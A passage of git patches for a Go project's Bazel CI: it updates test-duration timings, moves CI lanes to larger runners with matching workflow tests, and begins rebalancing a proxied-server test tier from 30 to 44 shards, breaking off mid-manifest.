"TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 1.86, + "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.68, + "TestIgnoredCursorHealIsIdempotent": 1.62, + "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 0.92, + "TestIgnoredCursorHealRespectsOperatorOverride": 0.55, + "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.44, + "TestIgnoredCursorHealResumeRespectsOperatorOverride": 0.7, + "TestIsBlockedBatchEmbedded": 2.12, + "TestJournalContract": 9.43, + "TestLargeBatchApplyStatementCounts356_Embedded": 22.91, "TestLargeBatchApplyStatementCounts712_Embedded": 1.0, - "TestLargeBatchApplyStatementCountsClassic40_Embedded": 8.73, - "TestLargeBatchApplyWallClock_Embedded": 80.7, - "TestLeaseLifecycleEmbedded": 3.76, - "TestLegacyTrackedIgnoredCursorHealsOnOpen": 1.39, - "TestLegacyTrackedIgnoredCursorUnwedgesPull": 7.0, + "TestLargeBatchApplyStatementCountsClassic40_Embedded": 5.79, + "TestLargeBatchApplyWallClock_Embedded": 21.85, + "TestLargeGraphCreateTiming_Embedded": 0.0, + "TestLeaseLifecycleEmbedded": 3.01, + "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.83, + "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.25, "TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance": 0.0, "TestLenientGateWarningBody_ShapedDecisions": 0.0, "TestLenientGateWarning_ComposedOutput": 0.0, - "TestLifecycleCloseReopenContract": 76.34, - "TestLifecycleCreateContract": 12.17, - "TestLifecycleUpdateContract": 39.87, - "TestListWisps": 1.63, - "TestMemoriesContract": 13.94, - "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.32, - "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.22, - "TestMergeWithStrategy_OursKeepsLocal": 1.19, - "TestMergeWithStrategy_TheirsResolvesAndCommits": 1.19, - "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 1.13, - "TestMetadataCASContract": 14.63, - "TestOpenAfterCloseCreatesNewStore": 17.64, - "TestOpenDifferentDirsReturnsDifferentStores": 36.11, - "TestOpenReturnsCachedStore": 19.64, - "TestPartitionWispIDs": 1.2, - "TestPreviewStoreRefusesLocalMetadataWrite": 17.18, - "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 2.42, - "TestPromoteClearsNoHistory": 3.01, - "TestPromoteStillWorksWithCollisionGuard": 1.36, - "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.97, - "TestPushCommitsPendingChangesFirst": 89.08, - "TestQuerierContract": 15.49, - "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 1.38, - "TestReadyCounterContract": 8.16, - "TestReadyWorkPageTotal": 30.66, - "TestReadyWorkPageTotalFilterMatrix": 23.68, - "TestReadyWorkStatementBudget": 22.78, - "TestReadyWorkWithMissingDeferredParentTables": 5.52, - "TestReclaimAnyReplicaOverride": 0.89, - "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 20.55, - "TestReclaimRefusesForeignReplicaLease": 1.28, - "TestReleaserContract": 8.65, + "TestLifecycleCloseReopenContract": 64.3, + "TestLifecycleCreateContract": 9.5, + "TestLifecycleUpdateContract": 32.78, + "TestListWisps": 1.0, + "TestMemoriesContract": 10.65, + "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.06, + "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.14, + "TestMergeWithStrategy_OursKeepsLocal": 0.65, + "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.61, + "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.52, + "TestMetadataCASContract": 9.64, + "TestOpenAfterCloseCreatesNewStore": 11.35, + "TestOpenDifferentDirsReturnsDifferentStores": 22.39, + "TestOpenReturnsCachedStore": 10.72, + "TestPartitionWispIDs": 0.75, + "TestPreviewStoreRefusesLocalMetadataWrite": 11.12, + "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.63, + "TestPromoteClearsNoHistory": 1.77, + "TestPromoteStillWorksWithCollisionGuard": 6.08, + "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.23, + "TestPushCommitsPendingChangesFirst": 59.03, + "TestQuerierContract": 7.95, + "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.63, + "TestReadyCounterContract": 4.93, + "TestReadyWorkPageTotal": 21.9, + "TestReadyWorkPageTotalFilterMatrix": 15.52, + "TestReadyWorkStatementBudget": 14.59, + "TestReadyWorkWithMissingDeferredParentTables": 4.54, + "TestReclaimAnyReplicaOverride": 0.71, + "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 13.82, + "TestReclaimRefusesForeignReplicaLease": 0.74, + "TestReleaserContract": 5.0, "TestRemoteEntryPointsUseVersionControlOps": 0.0, - "TestRemoteGitDataRefOnEngine": 2.82, - "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 17.91, - "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 17.51, - "TestRemoteVerbsPresentStoredPeerCredentials": 20.79, - "TestRenameLabel": 3.42, - "TestRenameLabelMintsOneVersionPerTouchedBead": 4.17, - "TestReopenIssue": 1.7, + "TestRemoteGitDataRefOnEngine": 1.4, + "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 10.97, + "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 12.14, + "TestRemoteVerbsPresentStoredPeerCredentials": 12.78, + "TestRenameLabel": 1.98, + "TestRenameLabelMintsOneVersionPerTouchedBead": 2.45, + "TestReopenIssue": 1.09, "TestRetentionContract": 0.0, - "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.62, - "TestSchemaAfterInit": 17.05, - "TestSearchWithMissingWispPlaneTables": 3.33, + "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.44, + "TestSchemaAfterInit": 10.4, + "TestSearchWithMissingWispPlaneTables": 1.92, "TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed": 0.0, - "TestStatsReporterContract": 14.39, - "TestSweeperContract": 25.68, + "TestStatsReporterContract": 9.56, + "TestSweeperContract": 17.21, "TestTransactionCleanupAfterSQLCommitIsIndeterminate": 0.0, "TestTransactionCleanupBeforeSQLCommitRemainsDefinite": 0.0, - "TestTreeWalkerContract": 22.54, - "TestUnknownProvenanceLeaseStaysReclaimable": 1.83, - "TestUpdateIssueType": 0.83, - "TestUpdateMergeOps_DoltEngine": 0.92, - "TestUpdateMergeOps_DoltEngine_TwoIssues": 1.16, - "TestVersionReconcilerContract": 4.02, - "TestWithPeerAuth": 87.8, - "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 20.0, - "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 17.14, - "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 19.57, - "TestWithPeerAuth_KeyMismatchFailsClosed": 16.51, - "TestWithPeerAuth_MissingRemoteFailsClosed": 17.76, - "TestWithPeerAuth_RestoresAbsentEnv": 17.9, - "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 16.84, - "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 121.04, - "TestWorkspaceConfigContract": 7.42 + "TestTreeWalkerContract": 12.82, + "TestUnknownProvenanceLeaseStaysReclaimable": 1.21, + "TestUpdateIssueType": 0.51, + "TestUpdateMergeOps_DoltEngine": 0.49, + "TestUpdateMergeOps_DoltEngine_TwoIssues": 0.77, + "TestVersionReconcilerContract": 2.4, + "TestWithPeerAuth": 51.7, + "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 12.63, + "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 12.79, + "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 8.72, + "TestWithPeerAuth_KeyMismatchFailsClosed": 11.39, + "TestWithPeerAuth_MissingRemoteFailsClosed": 10.01, + "TestWithPeerAuth_RestoresAbsentEnv": 11.38, + "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.11, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 61.05, + "TestWorkspaceConfigContract": 5.37 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index bbc953180..2bb020b41 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -19,7 +19,7 @@ import ( // S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — // see that test's doc comment for the full --check rationale, not repeated -// here): the Bazel-only 50-shard cmd block and 15-shard storage block are +// here): the Bazel-only 50-shard cmd block and 20-shard storage block are // not frozen like their files' legacy 20- and 5-shard blocks. // gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that // the committed block names every discovered test exactly once, failing with @@ -45,7 +45,7 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { // TestStorageEmbeddedShardManifestGeneratorNotStale mirrors // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's -// Bazel-only 15-shard block; see that test's doc comment. +// Bazel-only 20-shard block; see that test's doc comment. func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { python := requireHostTool(t, "python3") root := sourceRepoRoot(t) @@ -138,7 +138,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // duration balancing. totalsSet[bazelEmbeddedCmdShardCount(t)] = true case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 15-shard storage block. + // F1: mirrors the cmd case above for the 20-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true case ".github/scripts/server-storage-test-shard.sh": totalsSet[bazelServerFullShardCount(t)] = true From f60de63a75e1db09aff3defca580e8b05ba92e4d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:45:05 +0000 Subject: [PATCH 187/325] ci(bazel): 8 vCPU client for bazel-test, 4 vCPU for the other Bazel lanes (#7422) Client-side loading and analysis is CPU-bound and gates every action in a remote lane. Analysis-only measurements on Blacksmith (ga-vnycm2.8, seeded runner cache, gazelle tools from the repository cache): bazel-test 25.6 s on 4 vCPU vs 16.3 s on 8; the other lanes 17-38 s on 2 vCPU vs 12-22 s on 4. rbe-prewarm runs no Bazel client and stays on 2 vCPU (owner decision, ga-vnycm2.12). Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 24 ++++++++++++------------ scripts/ci_blacksmith_runner_test.go | 28 ++++++++++++++++------------ scripts/ci_workflow_test.go | 10 +++++----- 3 files changed, 33 insertions(+), 29 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index eb761aa7f..b3d13b0f6 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -729,14 +729,14 @@ jobs: # Fork modes (fork-ro/fork-rw) execute remotely but stay GitHub-hosted, # like every fork job: the runner is only a client. # - # 4 vCPU, not the other lanes' 2: with every action a remote cache hit, + # 8 vCPU, not the other lanes' 4: with every action a remote cache hit, # this lane's `bazel test //... --config=ci` spent ~63 of 81s in # client-side loading and analysis (1798 packages, 66k configured # targets; critical path 7.65s, merge group 37721729916), which Bazel - # parallelizes across the client's cores. Revert to 2 vCPU if the A/B - # does not save at least 15s on that step. + # parallelizes across the client's cores. Analysis-only, seeded runner + # cache (ga-vnycm2.8): 38.3s on 2 vCPU, 25.6s on 4, 16.3s on 8. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed # worker pool shared with gascity). Skipped only in mode skip (same-repo # runs while RBE_WEST_WORKERS is unset). @@ -1009,7 +1009,7 @@ jobs: name: pure-Go and js/wasm # Same runner and skip rule as bazel-test. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1226,7 +1226,7 @@ jobs: bazel-release-cross: name: release cross-compile needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1316,7 +1316,7 @@ jobs: # The runs-on expression is the shared one: Blacksmith in mode remote, # GitHub-hosted in the fork modes (a client only). needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 60 outputs: @@ -1486,7 +1486,7 @@ jobs: # A caller may turn it off with integration: "off"; pr.yml and # bazel-farm.yml pass "on". needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }} timeout-minutes: 85 outputs: @@ -1622,7 +1622,7 @@ jobs: name: dolt-server lane # Same runner and skip rule as bazel-test. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 outputs: @@ -1751,7 +1751,7 @@ jobs: # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 outputs: @@ -1922,7 +1922,7 @@ jobs: # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 30 outputs: @@ -2084,7 +2084,7 @@ jobs: bazel-cmd-dolt: name: cmd/bd Dolt-server tier needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }} timeout-minutes: 85 continue-on-error: true diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 35685349a..d9b6e5fbc 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -63,17 +63,20 @@ func bazelRemoteRunsOn(label string) string { return "${{ needs.rbe.outputs.mode == 'remote' && '" + label + "' || 'ubuntu-latest' }}" } -// The default lane size: the runner is only an RBE client (every action -// executes on rbe-west), so 2 vCPU is enough. -var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") +// The default lane size: every action executes on rbe-west, but the +// client's loading and analysis is CPU-bound and gates every action +// (ga-vnycm2.8: 17-38 s on 2 vCPU, 12-26 s on 4), so 4 vCPU. +var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") -// Runner-size A/B (ci/bigger-runners-ab, 2026-10-08): bazel-test's -// `bazel test //... --config=ci` spent ~63 of its 81 s in client-side loading -// and analysis (1798 packages, 66k configured targets; critical path 7.65 s, -// every action a remote cache hit), which Skyframe parallelizes across the -// client's cores. 4 vCPU; revert to bazelLaneRunsOn if the PR run does not -// save at least 15 s on that step. -var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") +// rbe-prewarm only dispatches a pool worker: no Bazel client, 2 vCPU. +var bazelPrewarmRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") + +// bazel-test's `bazel test //... --config=ci` spent ~63 of its 81 s in +// client-side loading and analysis (1798 packages, 66k configured targets; +// critical path 7.65 s, every action a remote cache hit), which Skyframe +// parallelizes across the client's cores: 8 vCPU (ga-vnycm2.8 analysis-only: +// 25.6 s on 4 vCPU, 16.3 s on 8). +var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-8vcpu-ubuntu-2404") // The package gates: package-npm at 4 vCPU (F3); package-mcp at 8 vCPU with // pytest -n 16 (bazelMCPPytestWorkers), since its pytest run is dominated by @@ -565,9 +568,10 @@ func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { func TestBlacksmithBazelRunnerSizes(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) wantRemote := map[string]string{ - bazelJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelJobName: "blacksmith-8vcpu-ubuntu-2404", bazelPackageMCPJobName: "blacksmith-8vcpu-ubuntu-2404", bazelPackageNPMJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelRBEPrewarmJobName: "blacksmith-2vcpu-ubuntu-2404", } mcpGate := workflow.job(t, bazelPackageMCPJobName).step(t, "Run MCP package gate") if got := mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"]; got != bazelMCPPytestWorkers { @@ -581,7 +585,7 @@ func TestBlacksmithBazelRunnerSizes(t *testing.T) { } want := "ubuntu-latest" if mode == "remote" { - want = "blacksmith-2vcpu-ubuntu-2404" + want = "blacksmith-4vcpu-ubuntu-2404" if label, ok := wantRemote[name]; ok { want = label } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 174e8255e..68c696a03 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1941,8 +1941,8 @@ const bazelIntegIf = "${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outp const bazelPackageGatesIf = "${{ inputs.package-gates == 'on' }}" // F3: the package gates' runners (bazelPackageRunsOn, in -// ci_blacksmith_runner_test.go with the other runner sizes) are larger than -// bazel.yml's usual 2 vCPU because they run pytest/npm on the runner itself. +// ci_blacksmith_runner_test.go with the other runner sizes) are sized for +// pytest/npm on the runner itself, not for a Bazel client alone. // Mode remote only: the gates take no rbe-fork certificate, so fork modes // (enabled too) build bd with go build on a GitHub-hosted runner, as before. @@ -2164,11 +2164,11 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { // lane does: its build is --config=integration's. wantJobIf = bazelIntegIf } else if name == bazelRBEPrewarmJobName { - // Same runs-on ternary as every other lane (wantRunsOn, set - // above); only the if differs. Not a lane: never uses + // The lanes' runs-on ternary at 2 vCPU (no Bazel client); only + // the size and the if differ. Not a lane: never uses // setup-bazel, so wantJobSetupEnv is moot (the per-step check // below only fires for a setup-bazel step). - wantJobIf = bazelRBEPrewarmIf + wantJobRunsOn, wantJobIf = bazelPrewarmRunsOn, bazelRBEPrewarmIf } if job.RunsOn != wantJobRunsOn { t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantJobRunsOn) From c4c66d42a2e11cea3254446afd5d13dde7478633 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:53:35 +0000 Subject: [PATCH 188/325] ci(bazel): rebalance the proxied-server tier on rbe-west measurements (30 -> 44 shards) (#7418) //cmd/bd:bd_proxied_test's 30-shard block was packed from a local capture of each test's , which for a t.Parallel test spans the time it sat paused behind its shard's other tests. Cheap tests that waited looked as heavy as the shard, so the "balanced" block ran 38-286s per shard in CI (356s on rbe-west). - scripts/ci/proxied_test_durations.json: re-measured on rbe-west (two --nocache_test_results runs), each test's cost the sum of its leaf tests' , averaged over both runs. - Measured where a test's time goes: nearly all of it is `bd init --proxied-server` against the shard's dolt sql-server (~2,000 statements, 81 DOLT_COMMITs, ~6-12 server CPU-seconds per init), one per subtest. Top-level tests with ~20 such subtests ran up to ~350s alone, above any shard budget, so the fifteen heaviest are split into two or three top-level functions (TestProxiedServerUpdate/-UpdateB/-UpdateC, ...). Each subtest is moved verbatim; the split functions repeat the original's preamble. - 30 -> 44 shards, LPT-packed to <=430 cost-seconds per shard. rbe-west, --nocache_test_results: before 30 shards, max 356s, 5,671 shard-seconds; after 44 shards, max 159s (median 138s), 5,883 shard-seconds. Bead: ga-vnycm2.3 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/proxied-cmd-test-shards.txt | 413 ++++++++------- .github/workflows/bazel.yml | 44 +- cmd/bd/BUILD.bazel | 6 +- cmd/bd/close_proxied_integration_test.go | 17 +- cmd/bd/config_proxied_integration_test.go | 8 + cmd/bd/create_proxied_integration_test.go | 16 + cmd/bd/dep_proxied_integration_test.go | 32 +- cmd/bd/gate_check_proxied_integration_test.go | 11 + cmd/bd/label_proxied_integration_test.go | 18 + cmd/bd/ready_proxied_integration_test.go | 17 +- cmd/bd/reopen_proxied_integration_test.go | 8 + cmd/bd/show_proxied_integration_test.go | 26 +- cmd/bd/update_proxied_integration_test.go | 34 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/TESTING.md | 4 +- scripts/ci/gen_proxied_shard_manifest.py | 2 +- scripts/ci/proxied_test_durations.json | 480 +++++++++--------- scripts/shard_manifest_test.go | 7 +- 18 files changed, 669 insertions(+), 476 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index b51c393b8..195ff2c5f 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -225,12 +225,12 @@ # # Format: # -# 30-shard split for the Bazel-only proxied-server tier +# 44-shard split for the Bazel-only proxied-server tier # (bazel-proxied in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/proxied_test_durations.json (see that file for # provenance and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 30 +# Regenerate with scripts/ci/gen_proxied_shard_manifest.py 44 # --weights=duration --write after adding or removing # TestProxiedServer*/TestServerMode* functions. --write is incremental: # it keeps every already-assigned test on its current shard and only @@ -252,219 +252,254 @@ # regeneration. Add them to the generator or the durations file # instead. -30 1 TestProxiedServerGateList -30 1 TestProxiedServerHuman -30 1 TestProxiedServerReclaim -30 1 TestProxiedServerSQLStatementRouting -30 1 TestProxiedServerServeLifecycle +44 1 TestProxiedServerDep2 +44 1 TestProxiedServerServeAddDependencies -30 2 TestProxiedServerCloseBeadGate -30 2 TestProxiedServerDelete -30 2 TestProxiedServerDeleteForceOrphans -30 2 TestProxiedServerIfRevisionGuardAssign -30 2 TestProxiedServerListComments -30 2 TestProxiedServerPromote -30 2 TestProxiedServerTypesAgreeWithCreate +44 2 TestProxiedServerClose2 +44 2 TestProxiedServerCount +44 2 TestProxiedServerEventsJournalOffByDefault +44 2 TestProxiedServerServeRefusesAStreamOnADisabledJournal -30 3 TestProxiedServerDuplicates -30 3 TestProxiedServerReadyWisp -30 3 TestProxiedServerServeDelete -30 3 TestProxiedServerServeModeGate -30 3 TestProxiedServerServeReadRevision +44 3 TestProxiedServerEventsJournal +44 3 TestProxiedServerServeReadsTheJournalItJustWrote +44 3 TestProxiedServerUpdate3 +44 3 TestServerModeSharedServeGlobalReportsTheServedDatabase -30 4 TestProxiedServerGateCreateInheritsRepoMetadata -30 4 TestProxiedServerMolBurn -30 4 TestProxiedServerReadyConcurrent -30 4 TestProxiedServerServeAddDependencies -30 4 TestProxiedServerServeRelatedIssues +44 4 TestProxiedServerClose2B +44 4 TestProxiedServerOutageReconnectAcceptanceMatrix +44 4 TestProxiedServerServeDelete +44 4 TestProxiedServerSetState -30 5 TestProxiedServerCleanDatabases -30 5 TestProxiedServerCreate -30 5 TestProxiedServerEventsJournal -30 5 TestProxiedServerPour -30 5 TestProxiedServerServeUpdateClaim -30 5 TestServerModeDeferAutoWake +44 5 TestProxiedServerCreateInfraTypeRoutesToWisps +44 5 TestProxiedServerHuman +44 5 TestProxiedServerListComments +44 5 TestProxiedServerServeClaimNext -30 6 TestProxiedServerBatchParity -30 6 TestProxiedServerHistoryRemoteSupportedFrontDoorParity -30 6 TestProxiedServerMolShow -30 6 TestProxiedServerMultiStatementSQL -30 6 TestProxiedServerReady -30 6 TestProxiedServerServeRemoveDependency +44 6 TestProxiedServerAssign +44 6 TestProxiedServerCompactDolt +44 6 TestProxiedServerHistory +44 6 TestProxiedServerIfRevisionGuardDelete +44 6 TestProxiedServerKV +44 6 TestProxiedServerServeStreamsTheJournalItIsWriting -30 7 TestProxiedServerCleanDatabasesPurgeDropped -30 7 TestProxiedServerCount -30 7 TestProxiedServerCountIncludeInfra -30 7 TestProxiedServerDoltLifecycle -30 7 TestProxiedServerGC -30 7 TestProxiedServerUpdate +44 7 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +44 7 TestProxiedServerDoltLifecycle +44 7 TestProxiedServerGateFrontDoorDirectServerProxyParity +44 7 TestProxiedServerIfRevisionGuardClose +44 7 TestProxiedServerMolDistill +44 7 TestProxiedServerPathHelpers +44 7 TestProxiedServerStorageClass +44 7 TestServerModeServe -30 8 TestProxiedServerInitIfMissing -30 8 TestProxiedServerPathHelpers -30 8 TestProxiedServerReopenConcurrent -30 8 TestProxiedServerShow2 -30 8 TestProxiedServerTypes -30 8 TestProxiedServerUpdateClosePolicy -30 8 TestServerModeSharedServeGlobalReportsTheServedDatabase +44 8 TestProxiedServerDelete +44 8 TestProxiedServerPourRejectsEnumViolatingVar +44 8 TestProxiedServerSQL +44 8 TestProxiedServerTag +44 8 TestProxiedServerUpdate2B -30 9 TestProxiedServerCloseConcurrent -30 9 TestProxiedServerDep2 -30 9 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows -30 9 TestProxiedServerMolReadyGated -30 9 TestProxiedServerSQL +44 9 TestProxiedServerConfigSetMany +44 9 TestProxiedServerReopen +44 9 TestProxiedServerServeClaim +44 9 TestProxiedServerUnclaimIfAssigneeParity +44 9 TestProxiedServerUpdateConcurrentAppendNotes -30 10 TestProxiedServerAutoPrune -30 10 TestProxiedServerClose2 -30 10 TestProxiedServerPing -30 10 TestProxiedServerServeClose -30 10 TestProxiedServerServeEdgeCounts +44 10 TestProxiedServerDeleteBlockedJSONSingleDoc +44 10 TestProxiedServerLink +44 10 TestProxiedServerPriority +44 10 TestProxiedServerReadyWisp +44 10 TestProxiedServerServeAddComment -30 11 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce -30 11 TestProxiedServerOutageReconnectAcceptanceMatrix -30 11 TestProxiedServerReady2 -30 11 TestProxiedServerServeReadsTheJournalItJustWrote -30 11 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled -30 11 TestProxiedServerShow +44 11 TestProxiedServerAutoPrune +44 11 TestProxiedServerBatchParity +44 11 TestProxiedServerContext +44 11 TestProxiedServerCreate2 +44 11 TestProxiedServerExternalMutationPolicy -30 12 TestProxiedServerAssign -30 12 TestProxiedServerConfigSetMany -30 12 TestProxiedServerContext -30 12 TestProxiedServerInitExplicitBeadsDirIsAuthoritative -30 12 TestProxiedServerReadyClaimConcurrent -30 12 TestProxiedServerServeBatchClose +44 12 TestProxiedServerExternalCreate +44 12 TestProxiedServerServeRelatedIssues +44 12 TestProxiedServerUpdate +44 12 TestProxiedServerWispList +44 12 TestServerModeTypesAgreeWithCreate -30 13 TestProxiedServerChildren -30 13 TestProxiedServerConfig -30 13 TestProxiedServerDoltRemoteRemove -30 13 TestProxiedServerExternalMutationPolicy -30 13 TestProxiedServerPriority -30 13 TestProxiedServerServeUpdate +44 13 TestProxiedServerCreate +44 13 TestProxiedServerRecomputeBlocked +44 13 TestProxiedServerServeUpdate +44 13 TestProxiedServerShow2 +44 13 TestProxiedServerStale -30 14 TestProxiedServerInfo -30 14 TestProxiedServerLint -30 14 TestProxiedServerNote -30 14 TestProxiedServerQuery -30 14 TestProxiedServerUpdate3 -30 14 TestProxiedServerWispCreate +44 14 TestProxiedServerMolSquash +44 14 TestProxiedServerQuick +44 14 TestProxiedServerServeReadParity +44 14 TestProxiedServerServeRefusesAStaleCheckpointWithGone +44 14 TestProxiedServerShow2B -30 15 TestProxiedServerCompactDolt -30 15 TestProxiedServerMolDistill -30 15 TestProxiedServerMolProgress -30 15 